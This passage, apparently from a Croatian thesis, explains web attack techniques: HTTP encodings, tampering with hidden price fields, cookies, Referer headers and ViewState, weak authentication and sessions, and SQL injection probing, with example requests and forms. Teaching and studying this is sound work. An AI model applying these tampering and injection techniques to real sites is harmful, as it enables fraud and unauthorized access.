%3d – =

%25 – %

%20 – razmak

%0a – nova linija

%00 – null byte

Kod napada na web aplikacije svi sljedeći znakovi se kodiraju prije nego se ubacuju kao

podaci unutar HTTP zahtjeva:

Razmak % ? & = ; + #

29

Izvor: The Web Application Hacker's Handbook str 87

29

3.7.2 Unicode kodiranje

Unicode je standard za kodiranje znakova koji je dizajniran da podržava sve svjetske sisteme

pisanja. 16-bit Unicode kodiranje radi slično kao i URL kodrianje. Za prijenos putem HTTP-

a 16-bit Unicode kodirani znakovi koriste oblik zapisa koji počinje sa %prefiksa iza kojeg

slijede Unicode znakovi prikazani u hexadecimalnom obliku. Primjer:

%u2215 – /

%u00e9 – é

UTF-8 je standard za kodrianje promjenjive dužine koji koristi jedan ili više bajtova za prikaz

pojedinog znaka. Za prijenos putem HTTP-a, UTF-8 kodirani višebajtni znakovni oblik

koristi heksadecimalni prikaz za savki pojedini bajt koji slijedi odmah iza %prefiksa. Primjer:

%c2%a9 – ©

%e2%89%a0 – ≠

Kod napada na web aplikacije, najzanimljivije je upravo Unicode kodiranje jer se može

koristiti da se zaobiđu validacijski mehanizmi.

3.7.3 HTML kodiranje

HTML kodiranje se koristi za prikaz problematičnih znakova tako da se oni mogu sigurno

koristiti unutar HTML dokumenta. Različiti znakovi imaju specijalna značenja kao

metapodaci unutar HTML-a i koriste se kako bi se definirala struktura dokumenta a ne njegov

sadržaj. Kako bi se ti znakovi sigurno koristili kao dio sadržaja dokumenta, nužno je na njima

izvršiti HTML kodiranje. HTML kodiranje definira mnogobrojne HTML entitete da

reprezentiraju specifične znakove:

&quot; — "

&apos; — '

&amp; — &

&lt; — <

&gt; — >

30

Na bilo kojem znaku može biti izvršeno HTML šifriranje koristeći ASCII znakove u

decimalnom obliku:

&#34; — "

&#39; — '

Ili ako se koriste ASCII znakovi u heksadecimalnom obliku:

&#x22; — "

&#x27; — '

Napadačima je HTML šifriranje posebno interesantno kada ispituju i traže postojanje XSS

ranjivosti. Jer ako aplikacija u odgovoru vraća korisnikov unos bez da ga modificira,

vjerojatno je ranjiva, dok s druge strane ako na sve opasne znakove primjeni HTML šifriranje

može biti sigurna.

3.7.4 Base64 Encoding

Base64 encoding dopušta binarnim podacima da budu sigurno zastupljeni koristeći samo

printabilne ASCII znakove. Često se koristi kako bi se šifrirali e-mail privici za siguran

prijenos preko SMTP-a. Također se koristi za šifriranje korisničkih podataka u jednostavnoj

HTTP autentifikaciji. Base64 šifriranje obrađuje ulazne podatke u blokovima po tri bajta.

Svaki od tih blokova je podijeljen na četiri dijela po šest bitova. Šest bitova podataka dopušta

64 različite permutacije, pa svaki dio se može prikazati koristeći set od 64 znaka. Base64

šifriranje koristi sljedeći niz znakova (printabilni ASCII znakovi):

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

Ako zadnji bloka ulaznih podataka ima manje od tri dijela podataka, nadopunjen je sa jednim

ili dva = znaka. Primjer:

VGhlIFdlYiBBcHBsaWNhdGlvbiBIYWNrZXIncyBIYW5kYm9vaw==

31

Mnoge web aplikacije koriste Base64 šifriranje za prijenos binarnih podataka unutar cookie-a

i drugih parametara, te čak i za sakrivanje osjetljivih podataka kako bi se spriječila laka

modifikacija istih.

3.7.5 Heks kodiranje

Mnoge aplikacije koriste heksadecimalno kodiranje kod prijenosa binarnih podataka pritom

koristeći ASCII znakove za prikaz heksadecimalnog bloka. Na primjer, ako šifriramo

korisničko ime "daf" unutar cookie-a to bi izgledalo ovako:

646166

Mana je što se podaci šifrirani na ovaj način lagano uoče, baš kao i kod Base64 šifriranja.

32

4 Mapiranje aplikacija

Mapiranje aplikacije je ključan preduvjet za napadanje. Može biti primamljivo odmah

uskočiti i tražiti greške i ranjivosti, ali odvojiti vrijeme da se dobije bolje razumijevanje o

funkcionalnosti aplikacije, tehnologijama koje se koriste, te o mjestima napada, se kasnije

uvijek bolje isplati. Kod hakiranja gotovo svih web aplikacija, najučinkovitija je "ručna"

metoda u kombinaciji sa kontroliranom automatizacijom. Niti jedan potpuno automatiziran

alat ne može provesti mapiranje aplikacije na siguran način. Da bi se to napravilo, potrebno je

koristiti "ručne" metode u kombinaciji sa znanjem i iskustvom. Temeljna metodologija se

sastoji od sljedećeg:

Ručno pregledavanje i korištenje crawlera/spidera kako bi se pobrojao sav vidljivi

sadržaj i funkcionalnosti.

Korištenje brute force-a u kombinaciji sa ljudskim zaključivanjem i intuicijom kako bi

se otkrilo što više sakrivenog sadržaja.

Inteligentna analiza aplikacije kako bi se identificirale ključne funkcionalnosti,

ponašanja, sigurnosni mehanizmi, i tehnologije.

Procjena napadačke površine, isticanje funkcija i ponašanja koje bi se mogle

iskoristiti, sve to sa razlogom usmjerenijeg ispitivanja ranjivosti i njihovog

iskorištavanja.

33

5 NAPADI

5.1 Zaobilaženje kontrola na strani klijenta

5.1.1 Sakrivena polja unutar forma 30

Sakrivena polja su čest mehanizam za prijenos podataka putem klijenta na efikasan način.

Ako je polje sakriveno, ne prikazuje se na ekranu. Međutim, ime polja i vrijednost su

pohranjeni unutar forme i šalju se nazad aplikaciji kad korisnik podnese zahtjev.

<form method=”post” action=”Shop.aspx?prod=1”>

Proizvod: iPhone 5 <br/>

Cijena: 449 <br/>

Količina: <input type=”text” name=”kolicina”> (Maksimalna količina je

50)

<br/>

<input type=”hidden” name=”cijena” value=”449” />

<input type=”submit” value=”Kupi” />

</form>

Vidljivo je da je polje koje se zove cijena sakriveno. Sadržaj tog polja se šalje poslužitelju

kada kupac klikne kupi. Napad se može izvesti na dva načina. Može se spremiti izvorni kod

HTML stranice tada promijeniti vrijednost polja i nakon toga ponovno učitati u preglednik i

stisnuti gumb kupi. Drugi način je da se koristi Proxy koji će presresti i modificirati željene

podatke.

5.1.2 HTTP Cookies 31

Drugi uobičajen mehanizam prijenosa podataka putem klijenta je korištenje HTTP cookie-a.

Isto kao i sakrivena polja, nisu prikazani na ekranu i korisnik ih ne može direktno

modificirati. Mogu se naravno modificirati koristeći Proxy i mijenjajući ili odgovor od strane

poslužitelja koji ih postavlja ili zahtjeve klijenta koji ih izdaju.

Kada se korisnik prijavi u aplikaciju primi sljedeći odgovor:

HTTP/1.1 200 OK

Set-Cookie: DogovoreniPopust=25

Content-Length: 1530

...

Ako aplikacija vjeruje vrijednosti koja se nalazi unutar cookie-a DogovoreniPopust, napadač

modifikacijom može dobiti željeni popust. Primjer:

30

Izvor: The Web Application Hacker's Handbook str 155 31

Izvor: The Web Application Hacker's Handbook str 157

34

POST /shop/92/Shop.aspx?prod=3 HTTP/1.1

Host: mdsec.net

Cookie: DogovoreniPopust=25

Content-Length: 10

kolicina=1

5.1.3 URL Parametri

32

Vrlo često aplikacije prenose podatke preko klijenta koristeći URL parametre.

Primjer:

http://aplikacija.hr/katalog/?proizvod=4&sifra=32

Parametri su: proizvod=4 i sifra=32

Kada se ovakav URL sa parametrima pojavi unutar preglednika svaki parametar se može

lagano modificirati i bez korištenja ikakvih alata. U dosta slučajeva aplikacija ne dopušta

promjene URL parametara niti ih korisnici mogu vidjeti. Naravno u takvim slučajevima

također se koristi Proxy za presretanje i modificiranje parametara.

5.1.4 Referer zaglavlje

33

Preglednici uključuju Referer zaglavlje u većini HTTP zahtjeva. Koristi se da pokaže na

URL stranicu sa koje je došao trenutni zahtjev koji može biti zbog toga što je korisnik kliknuo

na link, poslao podatke iz forme, ili zato što je stranica referencirala ostale resurse kao što su

slike.

Stoga može utjecati kao mehanizam za prijenos podataka preko klijenta.

Ako se uzme na primjer mehanizam koji omogućuje korisnicima resetiranje njihove lozinke

ako su je zaboravili. Aplikacija zahtjeva od korisnika da prođe određene korake u definiranom

redoslijedu prije nego uopće mogu resetirati lozinku sa sljedećim zahtjevom:

GET /auth/472/CreateUser.ashx HTTP/1.1

Host: mdsec.net

Referer: https://mdsec.net/auth/472/Admin.ashx

Aplikacija može koristiti Referer zaglavlje da provjeri da li je taj zahtjev došao iz točne faze

(Admin.ashx). Ako je, tada korisnik može pristupiti traženoj funkcionalnosti.

32

Izvor: The Web Application Hacker's Handbook str 157 33

Izvor: The Web Application Hacker's Handbook str 158

35

Međutim, zbog toga što korisnik kontrolira svaki aspekt svakog zahtjeva, uključujući i HTTP

zaglavlja, ovakvu kontrolu moguće je lagano izbjeći i odmah doći do CreateUser.ashx i

koristiti Proxy za promjenu vrijednosti Referer zaglavlja na vrijednost koju aplikacija

zahtjeva.

Referer zaglavlje je sasvim opcionalno prema w3.org.standardima, ali bez obzira na to što je

opcionalno većina preglednika ga implementira i koristi za kontroliranje funkcionalnosti

aplikacije. Može se smatrati kao hack.

5.1.5 Zamućeni podaci 34

Ponekad se podaci kao što je cijena koji su pohranjeni unutar sakrivenog polja ne mogu

vidjeti jer su na neki način kriptirani i na takav način se prenose.

<form method=”post” action=”Shop.aspx?prod=4”>

Proizvod: Nokia Infinity <br/>

Cijena: 699 <br/>

Kolicina: <input type=”text” name=”kolicina”> (Maksimalna količina je 50)

<br/>

<input type=”hidden” name=”cijena” value=”699”>

<input type=”hidden” name=”price_token”

value=”E76D213D291B8F216D694A34383150265C989229”>

<input type=”submit” value=”Kupi”>

</form>

Može se vidjeti da kada se klikne na gumb kupi, aplikacija sa serverske strane provjerava

integritet znakovnog niza, ili ga čak dešifrira kako bi se obrada obavila na normalnoj

tekstualnoj vrijednosti. Ta daljnja obrada može biti ranjiva na bilo koju vrstu bug-a.

Ima nekoliko različitih varijanta napada:

Ako se zna da je iza sakrivenog niza čisti znakovni niz može se pokušati odgonetnuti koji

algoritam se koristi za sakrivanje.

Aplikacija može sadržavati funkcije koje bi se mogle iskoristiti za otkrivanje ili sakrivanje

niza, pa bi napadač mogao iskoristiti vlastiti čisti niz i sakriti ga.

Čak i da sakriveni niz nije moguće otkriti, može se pokušati iskoristiti ga u drugačijem

kontekstu kako bi se dobio maliciozan efekt. Npr. iskopirati sakriveni niz nekog jeftinijeg

proizvoda i zamijeniti ga sa sakrivenim nizom nekog skupljeg proizvoda i slično.

34

Izvor: The Web Application Hacker's Handbook str 159

36

Ako ništa od navedenog ne prolazi, moguće je izvoditi napade na taj način da se kao niz

podnose različite maliciozne varijacije. Napadi su usmjereni na logiku sa poslužiteljske strane

koja bi otkrila ili dekriptirala niz.

Podnose se vrlo dugačke vrijednosti, drugačiji setovi znakova i sl.

5.1.6 ASP.NET ViewState 35

Je vrlo čest mehanizam za prijenos sakrivenih podataka preko klijenta. To je sakriveno polje

koje je automatski stvoreno u svim ASP.NET web aplikacijama. Sadrži serijalizirane

informacije o stanju trenutne stranice. ASP.NET koristi ViewState kako bi poboljšao

performanse poslužitelja. Omogućuje poslužitelju sačuvati elemente unutar korisničkog

sučelja preko uzastopnih zahtjeva bez potrebe održavanja relevantnih informacije o stanju na

strani poslužitelja. Na primjer, poslužitelj može popuniti padajuću listu na temelju parametara

koje je podnio korisnik. Kada korisnik napravi sljedeći zahtjev, preglednik ne šalje sadržaj

liste natrag do poslužitelja, već šalje vrijednost sakrivenog ViewState polja, koja sadrži

serijalizirani oblik liste. Server deserijalizira (izvlači strukturu podataka iz formata za

pohranu) ViewState i stvara istu listu koja se ponovno prikazuje korisniku.

Osim ove osnovne svrhe za koju je namijenjen ViewState koriste programeri za spremanje

proizvoljnih informacija preko uzastopnih zahtjeva. Na primjer, umjesto da se cijena

proizvoda pohrani u sakriveno polje, aplikacija ju može spremiti u ViewState na sljedeći

način:

niz price = getPrice(prod);

ViewState.Add(“cijena”, cijena);

Forma koja se vrati/prikaže korisniku izgleda ovako:

<form method=”post” action=”Shop.aspx?prod=3”>

<input type=”hidden” name=”__VIEWSTATE” id=”__VIEWSTATE”

value=”/wEPDwULLTE1ODcxNjkwNjIPFgIeBXByaWNlBQMzOTlkZA==” />

Proizvod: HTC One X <br/>

Cijena: 399 <br/>

Količina: <input type=”text” name=”kolicina”> (Maksimalna količina

je 50)

<br/>

<input type=”submit” value=”Kupi”>

</form>

35

Izvor: The Web Application Hacker's Handbook str 161

37

Kada korisnik klikne Kupi, preglednik šalje sljedeće:

POST /shop/76/Shop.aspx?prod=3 HTTP/1.1

Host: mdsec.net

Content-Type: application/x-www-form-urlencoded

Content-Length: 77

__VIEWSTATE=%2FwEPDwULLTE1ODcxNjkwNjIPFgIeBXByaWNlBQMzOTlkZA%3D%3D&

kolicina=1

ViewState parametar je zapravo niz šifriran pomoću Base64 algoritma koji se vrlo lako može

dešifrirati i tada je moguće vidjeti parametar cijene koji je unutra postavljen:

3D FF 01 0F 0F 05 0B 2D 31 35 38 37 31 36 39 30 ; =ÿ.....-15871690

36 32 0F 16 02 1E 05 70 72 69 63 65 05 03 33 39 ; 62.....price..39

39 64 64 ; 9dd

ASP.NET platforma po osnovi štiti ViewState od "čačkanja" tako da mu dodaje hash s

ključem (MAC zaštita). Međutim neke aplikacije isključe tu zaštitu, a to znači da je vrijednost

unutar ViewState-a tada moguće modificirati. Alati kao što je Burp Suite sadrže ViewState

parser koji pokaže ako ViewState nije zaštićen, odnosno ako nije uključena MAC zaštita.

Pomoću alata se ViewState može dešifrirati čak iako je zaštićen.

5.2 HTML forme 36

HTML forme su najjednostavniji i najučestaliji način da se prikupe podaci od korisnika i

pošalju poslužitelju. Forme se mogu koristiti i na druge načine, mogu se ograničiti, mogu se

provoditi validacije nad korisničkim podacima.

5.2.1 Ograničenja dužine

<form method=”post” action=”Shop.aspx?prod=1”>

Proizvod: iPhone 5 <br/>

Cijena: 449 <br/>

Kolicina: <input type=”text” name=”kolicina” maxlength=”1”> <br/>

<input type=”hidden” name=”cijena” value=”449”>

<input type=”submit” value=”Kupi”>

</form>

Iz koda je vidljivo da će preglednik ograničiti upis količine samo na jedan znak, što znači da

će maximalna količina biti manja od 10. Ovo ograničenje se vrlo lagano može zaobići ako se

presretne zahtjev pa se može modificirati željena količina ili ako se presretne odgovor

poslužitelja koji sadrži formu pa se može ukloniti maxlength atribut.

36

Izvor: The Web Application Hacker's Handbook str. 163

38

5.2.2 Validacija temeljena na skriptama

37Validacijski mehanizmi unutar HTML forma su suviše jednostavni da bi izveli neke

kompliciranije validacije. Forma za registraciju korisnika može sadržavati polja za ime, email,

telefon, poštanski broj i sva ta polja zahtijevaju drugačiji tip unosa. Zbog toga se često

validacija ulaznih podataka validira pomoću skripta.

Primjer:

<form method=”post” action=”Shop.aspx?prod=2” onsubmit=”return

validateForm(this)”>

Proizvod: Samsung Multiverse <br/>

Cijena: 399 <br/>

Količina: <input type=”text” name=”kolicina”> (Maksimalna količina je 50)

<br/>

<input type=”submit” value=”Kupi”>

</form>

<script>function validateForm(theForm)

{

var isInteger = /^\d+$/;

var valid = isInteger.test(quantity) &&

quantity > 0 && quantity <= 50;

if (!valid)

alert(’Upisi odgovarajuću količinu’);

return valid;

}

</script>

onsubmit atribut pokreće validaciju forme kada korisnik pritisne gumb kupi.

Podaci se šalju samo ako funkcija vrati TRUE. Ovaj mehanizam omogućuje logici na strani

klijenta da presjeda pokušaj prijave forma, i da se prilagode validacijske provjere za

korisnikove ulazne podatke, te odlučivanje da li prihvatiti te podatke ili ne. U prethodnom

primjeru validacija je jednostavna, provjerava jesu li uneseni podaci za polje količina tipa int i

jesu li između 1 i 50.

Ovakav tip provjere je lagano zaobići. Potrebno je samo isključiti JavaScript unutar web

preglednika i on submit atribut se ignorira. Međutim, ako se isključi JavaScript to može

onemogućiti korištenje aplikacije ako ona ovisi o skriptiranju na strani klijenta. Bolji pristup

bi bio korištenje Proxy-a. Nakon što se forma popuni i pošalju se podaci, pomoću Proxy-a se

ti validirani podaci uhvate i mogu mijenjati po želji.

Moguće je isto tako presjesti odgovor poslužitelja koji sadrži validacijsku rutinu,

i modificirati skriptu prema želji.

37

Izvor: The Web Application Hacker's Handbook str. 165

39

5.2.3 Onemogućavanje HTML elemenata 38

Ako se HTML forma onemogući pomoću disable parametra, vidljiva je na ekranu ali u nju

se ne može ništa unositi i njen sadržaj se ne šalje poslužitelju.

<form method=”post” action=”Shop.aspx?prod=5”>

Proizvod: Blackberry Rude <br/>

Cijena: <input type=”text” disabled=”true” name=”cijena” value=”299”>

<br/>

Kolicina: <input type=”text” name=”kolicina”> (Maksimalna količina je 50)

<br/>

<input type=”submit” value=”Kupi”>

</form>

U prethodnom primjeru samo se parametar Količina šalje poslužitelju.

Međutim, parametar cijena može ukazivati da se taj parametar prije koristio ili se koristi u

testne svrhe. Tada bi se mogao naći način kako ga iskoristiti za pronalazak ranjivosti.

5.3 Ekstenzije web preglednika 39

Osim HTML forma, za istu funkciju prikupljanja, provjere i slanja podataka koriste se i

komponente na strani klijenta koje rade unutar web preglednika kao što su Java ili Flash. U

današnje vrijeme takve komponente su vrlo raširene i razvijene. Po obujmu i funkcionalnosti

mogu biti kao desktop aplikacije. Koriste se najčešće za obavljanje zadaća i procesa koji bi se

inače odvijali na poslužitelju. Na taj način se ubrzava rad same aplikacije i ne opterećuje se

poslužitelj.

Najčešće komponente su Java apleti, Flash i Silverlight. Sve tri komponente imaju slične

ciljeve, i svojstva unutar svoje arhitekture koja su važna za sigurnost:

Kompajlirane su na "intermediate bytecode" odnosno na programski jezik najniže

razine koji je još uvijek čitljiv ljudima.

Izvode se unutar virtualne mašine koja pruža "sandbox" okruženje za izvršavanje

Mogu koristiti remoting framework-e za prijenos kompleksnih struktura podataka ili

objekata putem HTTP-a.

38

Izvor: The Web Application Hacker's Handbook str. 167 39

Izvor: The Web Application Hacker's Handbook str. 169

40

5.3.1 FLASH

Flash koristi svoj vlastiti format za prijenos kompleksnih podatkovnih struktura između

poslužitelja i klijenta. Taj format se naziva Action Message Format i može se prepoznati po

Content-Type zaglavlju:

Content-Type: application/X-amf

Uz pomoć Burpa koji podržava AMF format može se presresti zahtjev ili odgovor koji sadrži

podatke u AMF formatu i prikazati ih modificirati.

Obično su ekstenzije pisane u bytecode- jeziku i obično su distribuirane u jednom paketu i da

bi se izveo napad potrebno ih je dekompajlirati kako bi se došlo do izvornog koda.(Silverlight

objekti su spremljeni kao .xap datoteke a Java apleti kao .jar, flash kao .swf s time da je .xap i

.jar prije dekompajliranja je potrebno raspakirati). Nakon toga se može modificirati kod te se

na kraju vrši rekompajliranje.

Alati za dekompajliranje:

Za Javu su: java snoop - www.varaneckas.com/jad

Za flash: Flasm — www.nowrap.de/flasm , Flare — www.nowrap.de/flare i SWFScan

— www.hp.com/go/swfscan

Za Silverlight: www.red-gate.com/products/dotnet-development/reflector/

5.4 Napadi na autentifikaciju 40

Kod izrade autentifikacije programerima su dostupne različite tehnologije za

implementiranje autentifikacije:

Autentifikacija temeljena na HTML formama

Višefaktorski mehanizmi kao što su oni koji kombiniraju lozinku i fizički token ( kod

banaka ).

Klijentski SSL certifikati i/ili pametne kartice (smartcards)

Osnovna HTTP i digest(šifrirana) autentifikacija

Windows-integrirana autentifikacija koristeći NTLM ili Kreberos

40

Izvor: The Web Application Hacker's Handbook str. 195

41

Servisi za autentifikaciju

Najviše zastupljena i korištena autentifikacija od strane web aplikacija je korištenje HTML

forma za prikupljanje korisničkih podataka i slanje istih do aplikacije. Koristi ju preko 90%

aplikacija na Internetu.

5.4.1 Loše lozinke

Jako puno web aplikacija ili uopće ne kontrolira kvalitetu lozinki svojih korisnika ili to čine

loše uz minimalne kontrole, stoga se dopuštaju sljedeći oblici lozinki:

Vrlo kratke ili prazne lozinke

Česte riječi iz rječnika ili imena

Ista lozinka kao i korisničko ime

Lozinka koja je još uvijek postavljena na početnu zadanu vrijednost

Vrlo je velika vjerojatnost da će web aplikacija koja ne zahtjeva jake lozinke imati većinu

korisničkih računa sa slabim standardima lozinka. Napadač vrlo lako može pogoditi te lozinke

što mu omogućuje nedopušten pristup aplikaciji. Napadač može koristiti automatizirane

bruteforce napade i imati i nekoliko tisuća pokušaja u minuti kako bi pogodio lozinku. Neke

aplikacije koriste kontrole da spriječe takve napade. Na primjer nakon svakog neuspješnog

pokušaja prijave aplikacija može postaviti cookie kriveprijave=1 odnosno uvećavati ga za 1

dok ne dostigne maksimalan broj pokušaja. Tada poslužitelj otkrije da se to događa u već

poslanom cookie-u i odbija daljnje procesuiranje prijave. Takav način provjere je lagano

moguće zaobići metodama koje su opisane prije u tekstu.

Druga varijacija ranjivosti se pojavi kada se brojač krivih prijava drži unutar sesije. Napadač

sve što treba napraviti je da dobije novu sesiju i može nastaviti sa napadom pogađanja lozinki.

To može napraviti tako da povuče odnosno uskrati svoj sesijski cookie.

Vrlo važna stvar kod pogrešnih i neuspjelih prijava su poruke o grešci odnosno neuspjeloj

prijavi. Takve poruke ne smiju biti opširne i sadržavati informacije. Poruka ne smije dati do

znanja koji je od ta dva podataka pogrešno unesen.

42

5.4.2 Nesiguran prijenos korisničkih podataka

Ako aplikacija koristi nekriptiranu HTTP konekciju za prijenos korisničkih podataka, moguće

je te podatke dok putuju presresti pomoću različitih alata za prisluškivanje koji su smješteni

na mreži.

5.4.3 Nesigurna pohrana korisničkih podataka

Ako aplikacija pohrani korisničke podatke na nesiguran način tada sigurnost mehanizma

može biti narušena čak iako ne postoji neka mana u autentifikacijskom procesu. Često se

može naići na web aplikacije koje lozinke korisnika spremaju unutar baze u čitljivom

tekstualnom formatu. Ako kojim slučajem dođe do uspješnog napada na bazu podataka,

ugroženi su svi korisnički računi. Također nije poželjno koristiti standardne algoritme za

šifriranje kao što su MD5 ili SHA-1 jer to još uvijek omogućuje napadaču da jednostavno

pogleda promatrana skraćivanja u odnosu na unaprijed izračunate hash vrijednosti baze

podataka. Zbog toga što korisnički odnosno administratorski račun za bazu podataka koji se

koristi od strane aplikacije mora imati puno pravo pristupa do takvih podataka. Ima mnogo

različitih vrsta ranjivosti unutar aplikacije koje mogu dovesti napadača do pristupa takvim

podacima, kao što su SQLi ili command injection i sl. Osim toga, lozinke šifrirane tim već

starijim standardnim metodama mogu biti relativno lagano i brzo probijene različitim alatima.

5.4.4 Attack session management

Mehanizam za upravljanje sesijama je temeljna sigurnosna komponenta u većini web

aplikacija. Omogućuje aplikaciji da na jedinstven način identificira korisnika među mnogo

različitih zahtjeva i akumulira korisnikovo stanje interakcije sa aplikacijom. Osigurava da

svaki korisnik nema ovlasti i prava veća nego što bi ih trebao imati.

Ranjivosti koje postoje u mehanizmima za upravljanje sesijama mogu se svrstati u dvije

kategorije:

Slabosti kod generiranja sesijskih tokena

Slabosti kod rukovanja sesijskim tokenima za vrijeme njihovog vijeka trajanja

5.4.5 Alternativa sesijama

Ne koristi svaka aplikacija sesije. Neke aplikacije visoke sigurnosti i koje imaju kompleksnu

funkcionalnost, koriste neke druge tehnike upravljanja stanjem. Postoje dvije alternative:

43

HTTP autentifikacija - Vrlo je slična kao i autentifikacija preko HTML forma i sesija, samo

što se korisnik svaki puta iznova prijavljuje. Na primjer, korisnik se ponovno prijavljuje i

šalje autentifikacijske podatke na validaciju svaki puta kada šalje neki novi zahtjev aplikaciji

odnosno poslužitelju.

Mehanizmi bez sesija – To su mehanizmi koji ne koriste sesijske tokene već prenose sve

podatke vezane za upravljanje stanjem preko klijenta, najčešće putem cookie-a ili sakrivenih

polja unutar formi. Slično funkcioniraju kao ASP.NET ViewState. Naravno pošto se podaci

prenose putem klijenta unutar binarnog blob-a, adekvatno se zaštićuju algoritmima za

kriptiranje i potpisivanje.

Kod rukovanja sesijama treba biti oprezan na slabosti i da se sesije ne razotkriju. Kod

nepravilnog rukovanja sesijama niti korištenje SSL-a neće pomoći.

Za sigurno upravljanje sesijama potrebno je generirati jake tokene ,odabrati poželjne

algoritme za njihovo generiranje, čuvati tokene kroz njihov cijeli životni vijek, prenositi ih

samo preko HTTPS-a, vremenski ograničiti njihov životni vijek, putanja i raspon aplikacijskih

sesijskih cookie-a mora biti postavljen što je striktnije moguće.

5.4.6 Napad na kontrolu pristupa

Nedostaci unutar kontrole pristupa mogu se pojaviti iz više različitih izvora. Loš i

prejednostavan dizajn aplikacije ponekad onemogućuje provjere za neautoriziranim

pristupom ili neki previdi ostavljaju neke funkcije nezaštićenim.

44

6 NAPAD NA POHRANU PODATAKA 41

Skoro svaka aplikacija se oslanja na pohranu podataka koji se obrađuju unutar aplikacije. U

mnogim slučajevima ti podaci su bitni za rad same aplikacijske logike, sadržavajući

korisničke račune, dopuštenja, konfiguracijske postavke aplikacije i slično. Većina podataka

je pohranjena u strukturiranom obliku, koristeći predefinirani upitni jezik i koristeći internu

logiku za upravljanje tim podacima. Najviše podataka se sprema u SQL baze podataka, XML

repozitorije i LDAP direktorije.

Funkcije unutar aplikacije upravljanju, dodaju modificiraju i brišu podatke, postavljaju upite

nad pohranjenim podacima i to sve na temelju tipu korisničkog računa odnosno prava. Upravo

zbog interpreterskih jezika kao što su SQL, LDAP, Perl, i PHP koji se koriste kod web

aplikacija i načina na koji se interpretiraju napadi na koji se njih odnose se nazivaju

„injection“ napadi, odnosno napadi ubacivanjem koda.

Zaobilaženje prijave

Proces po kojem aplikacija pristupa podacima obično je isti bez obzira da li je taj pristup

okinut akcijama ne privilegiranih korisnika ili administratora. Funkcije web aplikacije

upravljaju pohranom podataka, gradeći upite za dohvat, dodavanje i modificiranje podataka

spremljenih u bazi podataka ovisno o korisničkom računu korisnika. Uspješan injection napad

koji modificira upit može zaobići kontrolu pristupa.

41

Izvor: The Web Application Hacker's Handbook str. 323

45

6.1 SQL injection

42SQLi – je napad prilikom kojeg se pokušava umetnuti/podmetnuti SQL kod koji bi

iskoristio ranjivosti u web aplikaciji. Prilikom umetanja/podmetanja koda modificira se

originalan SQL upit odnosno mijenja se njegova logika.

6.1.1 43Kategorizacija i klasifikacija SQLi-a

6.1.1.1 SQLi temeljen na podatkovnom ekstrakcijskom kanalu:

Inband ili inline – Izvlačenje odnosno prikazivanje rezultata na istom mjestu unosa

(npr. web preglednik) Podaci mogu biti prikazani u normalnom obliku ili u obliku

grešaka.

o Tehnike napada kod ovoga tipa su UNION temeljeni SQLi (union based) i

SQLi temeljen na greškama (error based)

Out-of-band – Koristi se drugačiji kanal (npr. HTTP, DNS) za prijenos podataka iz

SQL upita. Ako funkcionira, to je najlakši način za izvlačenje velikih količina

podataka iz baze podataka.

6.1.1.2 SQLi temeljen na primljenom odgovoru od strane servera:

Error-based SQL injections

o Union query type.

o Double query Injections.

Blind SQL Injections

o Boolean-based blind injections.

o Time based blind injections.

6.1.1.3 SQLi temeljen na tipu podatka u SQL upitu:

String-based

Numeric- or integer based

42

Izvor: http://resources.infosecinstitute.com/sql-injections-introduction/ 43

Izvor: http://resources.infosecinstitute.com/sql-injections-introduction/

46

6.1.1.4 SQLi temeljen na stupnju/redu ubacivanja koda:

First-order injections.

Second-order injections.

6.1.1.5 SQLi temeljen na točki ubacivanja koda:

Ubacivanje koda kroz različita polja za unos.

Ubacivanje putem cookie-a.

Ubacivanje preko poslužiteljskih varijabli (ubacivanja temeljena na zaglavljima).

Svaki podatak koji se šalje bazi podataka potrebno je provjeriti! To uključuje sve URL

parametre, cookie, POST podatke, HTTP zaglavlja.

Kod testiranja i traženja ranjivosti, potrebno je proći kroz cijeli više-razinski proces u kojem

se unose izgrađeni nizovi. Aplikacije često skupljaju kolekcije podataka preko nekoliko

zahtjeva, i to proslijede do baze tek kad je cijeli set prikupljen. U tom slučaju oni koji se bave

penetracijskim testiranjima mogu promašiti dosta SQLi ranjivosti ako šalju izrađene nizove

podatka unutar svakog zahtjeva zasebno i motre odgovor odnosno reakciju aplikacije na taj

zahtjev.

Jedan od načina za potvrdu da aplikacija komunicira sa bazom podataka u pozadini je

ubacivanje SQL wildcard znaka % u neki parametar. Npr. ako se % ubaci unutar forme za

pretraživanje, obično se vrati velik broj rezultata, ukazujući na to da je ulaz proslijeđen u SQL

upit. Naravno to ne ukazuje odmah na to da je aplikacija ranjiva, već samo da bi trebalo još

temeljitije ispitati ne bi li se našli neki propusti.

Kada se traži SQLi ranjivost koristeći jednostruki navodnik, potrebno je obratiti pozornost

ako će se pojavit kakve JavaScript greške. Zna se često dogoditi da korisnik kada unese neki

unos da mu se vrati unutar JavaScript-a, pa jednostruki navodnik i u JavaScriptu interpreteru

može uzrokovati grešku jednako kao i u SQL interpreteru. To može tada upućivati na XSS

ranjivost.

6.1.2 Ubacivanja u numeričke parametre

Kada korisnik ubaci numerički podatak u SQL upit, aplikacija još uvijek može tim podatkom

rukovati kao da je znakovni (string). Međutim u velikoj većini slučajeva numerički podaci se

šalju bazi u numeričkom obliku i ne nalaze se unutar jednostrukih navodnika.

47

Matematički izrazi: 1+1 ili 3-1

ASCII komanda koja vraća numerički ASCII kod od nekog znaka.

67-ASCII('A')=2

51-ASCII(1)=2

Neki znakovi koji se žele ubaciti imaju specijalno značenje unutar HTTP zahtjeva. Ako se ti

znakovi žele ubaciti u napad moraju se URL kodirati kako bi se pravilno interpretirali:

& i = bi se trebali šifrirati kao %26 i %3d

Razmaci nisu dozvoljeni unutar upitnog niza. Ako se ubace, poništiti će cijeli niz. Trebali bi

se šifrirati koristeći + ili %20

Zbog toga što se + znak koristi za razmak, ako se želi koristi pravi plus znak tada je to %2b

1+1 bi se trebao poslati kao 1%2b1

Točka zarez se koristi inače kako bi se odvojila cookie polja, pa bi se trebao šifrirati kao %3b

Ova šifriranja su nužna bilo da se modificira parametar direktno iz preglednika, preko Proxy-a

ili na bilo koji drugi način. Ako se znakovi ne kodiraju na pravilan način može se poništiti

cijeli zahtjev ili se poslati podaci koji se nisu imali namjere poslati.

SELECT author, title, year FROM books WHERE publisher = ‘Wiley’ ORDER BY

title ASC

U mnogo slučajeva struktura SQL upita se nalazi unutar ORDER BY klauzule. ORDER BY

uzima ime kolone i po tome sortira rezultat. Tako se najčešće korisnicima omogućava

sortiranje neke tablice unutar preglednika. Pronalaženje SQLi u imenu kolone može biti teško.

